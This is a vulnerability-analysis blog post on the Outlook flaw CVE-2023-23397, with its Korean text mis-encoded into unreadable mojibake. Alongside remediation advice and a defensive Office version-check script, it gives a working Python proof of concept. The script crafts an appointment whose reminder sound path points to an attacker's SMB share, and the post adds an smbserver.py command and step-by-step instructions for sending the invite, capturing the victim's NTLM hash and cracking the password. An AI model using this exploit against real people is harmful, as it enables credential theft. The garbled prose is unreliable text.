๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
  • Tried. Failed. Logged.
๐Ÿ”’์ •๋ณด๋ณด์•ˆ/์•…์„ฑ์ฝ”๋“œ & ์ทจ์•ฝ์  ๋ถ„์„

์ทจ์•ฝ์  ๋ถ„์„ - CVE-2023-23397

by Janger 2025. 7. 27.
728x90

CVE-2023-23397 ์ทจ์•ฝ์  ์ •๋ณด

  • CVE-2023-23397๋Š” Microsoft Windows ์ „์šฉ Outlook์— ์•ฝ์†์„ ์•Œ๋ ค์ฃผ๋Š” ‘๋ฏธ๋ฆฌ ์•Œ๋ฆผ’ ๊ธฐ๋Šฅ์— ์žฌ์ƒํ•  ์‚ฌ์šด๋“œ ํŒŒ์ผ์„ ๋ถˆ๋Ÿฌ์˜ค๊ธฐ ์œ„ํ•ด์„œ ๊ณต๊ฒฉ์ž์˜ SMB ์„œ๋ฒ„๋กœ ์ธ์ฆํ•˜๋Š” ๊ณผ์ •์— NTLM ์ž๊ฒฉ ์ฆ๋ช…์„ ํƒˆ์ทจ๋˜๋Š” ๊ถŒํ•œ ์ƒ์Šน ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค.
  • ํ•ด๋‹น ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ ๊ถŒํ•œ ์ƒ์Šน์ด ์ด๋ฃจ์–ด์ ธ ๋” ํฐ ํ”ผํ•ด๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์„ ์ •๋„๋กœ ์œ„ํ—˜๋„๋Š” ๋‹ค์†Œ ๋†’์„ ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒ๋ฉ๋‹ˆ๋‹ค.
  • ์กฐ์น˜ ๋ฐฉ์•ˆ์œผ๋กœ Outlook์„ Build 16130.20306 ์ด์ƒ์œผ๋กœ ์—…๋ฐ์ดํŠธ๊ฐ€ ํ•„์š”ํ•˜๋ฉฐ, SMB ์„œ๋น„์Šค๋ฅผ ์ด์šฉํ•˜์ง€ ์•Š์„ ๊ฒฝ์šฐ์—๋Š” ํ•ด๋‹น ์„œ๋น„์Šค๋ฅผ ๋น„ํ™œ์„ฑํ™” ํ•˜๊ฑฐ๋‚˜ SMB TCP/445 ํฌํŠธ ์•„์›ƒ๋ฐ”์šด๋“œ๋ฅผ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค.

CVE Number CVE-2023-23397

CVSS Score 9.8
severity(์‹ฌ๊ฐ๋„) CRITICAL
์‚ฌ์šฉ๋œ ํŒจํ„ด appointment.PidLidReminderFileParameter = @"\\๊ณต๊ฒฉ์ž์ฃผ์†Œ\share\sound.wav”;
# pip install independentsoft.msg
# usage: python3 CVE-2023-23397.py --path \\\\attacker_ip\\share

from independentsoft.msg import Message
import datetime, argparse

parser = argparse.ArgumentParser(description="CVE-2023-23397")
parser.add_argument("--path", '-p', help="Path to save the file", required=True)
args = parser.parse_args()

if __name__ == "__main__":
    appointment = Message()
    appointment.message_class = "IPM.Appointment"
    appointment.subject = "CVE-2023-23397"
    appointment.body = "CVE-2023-23397 Test"
    appointment.location = "Security Lab"
    appointment.appointment_start_time = datetime.datetime.now()
    appointment.appointment_end_time = datetime.datetime.now()
    appointment.reminder_override_default = True
    appointment.reminder_sound_file = args.path
    appointment.save("appointment.msg")
smbserver.py -smb2support SHARE .

๊ณต๊ฒฉ ์‹œ์—ฐ

 

1. ์ƒ๋‹จ์— “์ƒˆ ์ „์ž ๋ฉ”์ผ” > “์•ฝ์†” ์„ ํƒ

 

2. ์ƒ๋‹จ์— ๋ฏธ๋ฆฌ ์•Œ๋ฆผ 0๋ถ„ ์„ ํƒ

 

3. ์„ ํƒ ์ฐฝ ํ•˜๋‹จ์— “์†Œ๋ฆฌ…” ํด๋ฆญ

 

 

4. ๊ณต๊ฒฉ์ž ๊ณต์œ  ํด๋” ์ฃผ์†Œ ์ž…๋ ฅ ํ›„ “ํ™•์ธ” ํด๋ฆญ

 

5. ์ƒ๋‹จ์— “์ „๋‹ฌ” ํด๋ฆญ

 

 

6. ๋ฐ›๋Š” ์‚ฌ๋žŒ์— ๊ณต๊ฒฉ ๋Œ€์ƒ์˜ ์ด๋ฉ”์ผ ์ฃผ์†Œ ์ž…๋ ฅ ํ›„ ๋ณด๋‚ด๊ธฐ ๋ฒ„ํŠผ ํด๋ฆญ

 

 

7. ๊ณต๊ฒฉ ๋Œ€์ƒ ์ธก์—์„œ ์ˆ˜์‹  ๋ฐ›์€ ์ผ์ •์„ ๋‚ด ๋‹ฌ๋ ฅ์— ์ถ”๊ฐ€

 

 

8. ์ถ”๊ฐ€ ์‹œ ์•Œ๋ฆผ ๊ธฐ๋Šฅ ์ž‘๋™

 

 

9. ๊ณต๊ฒฉ์ž์˜ ํŒŒ์ผ ๊ณต์œ  ์„œ๋ฒ„์—๋Š” ํ”ผํ•ด์ž์˜ NTLM ํ•ด์‹œ๊ฐ€ ๊ธฐ๋ก๋จ

 

10. ํŒจ์Šค์›Œ๋“œ ํฌ๋ž˜ํ‚น ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•ด ์‚ฌ์šฉ์ž์˜ ํŒจ์Šค์›Œ๋“œ๋ฅผ ํš๋“

 

 

# using python CVE-2023-23397_check.py

import winreg

# ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ‚ค ์—ด๊ธฐ
hkey = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\\\Microsoft\\\\Office\\\\ClickToRun\\\\Configuration")

# VersionToReport ๊ฐ’ ์ฝ๊ธฐ
try:
    value, type = winreg.QueryValueEx(hkey, "VersionToReport")
except FileNotFoundError:
    print("Microsoft Office๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.")
except Exception as e:
    print(f"๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ์ฝ๊ธฐ ์˜ค๋ฅ˜: {e}")
else:
    # ๊ฐ’ ์ถœ๋ ฅ
    if type == winreg.REG_SZ:
        print(f"ํ˜„์žฌ ๋นŒ๋“œ ๋ฒ„์ „ : {value}")

        build_version = float( '.'.join(value.split('.')[2:]) )

        if build_version < 16130.20306:
            print("[์ทจ์•ฝ] Office ๋ฒ„์ „์ด 16130.20306 ๋ฏธ๋งŒ์ž…๋‹ˆ๋‹ค.")
        else:
            print("[์–‘ํ˜ธ] Office ๋ฒ„์ „์ด 16130.20306 ์ด์ƒ์ž…๋‹ˆ๋‹ค.")

# ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ‚ค ๋‹ซ๊ธฐ
winreg.CloseKey(hkey)

์ฐธ๊ณ 

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397

https://learn.microsoft.com/en-us/officeupdates/microsoft365-apps-security-updates

https://asec.ahnlab.com/ko/49819/

 

728x90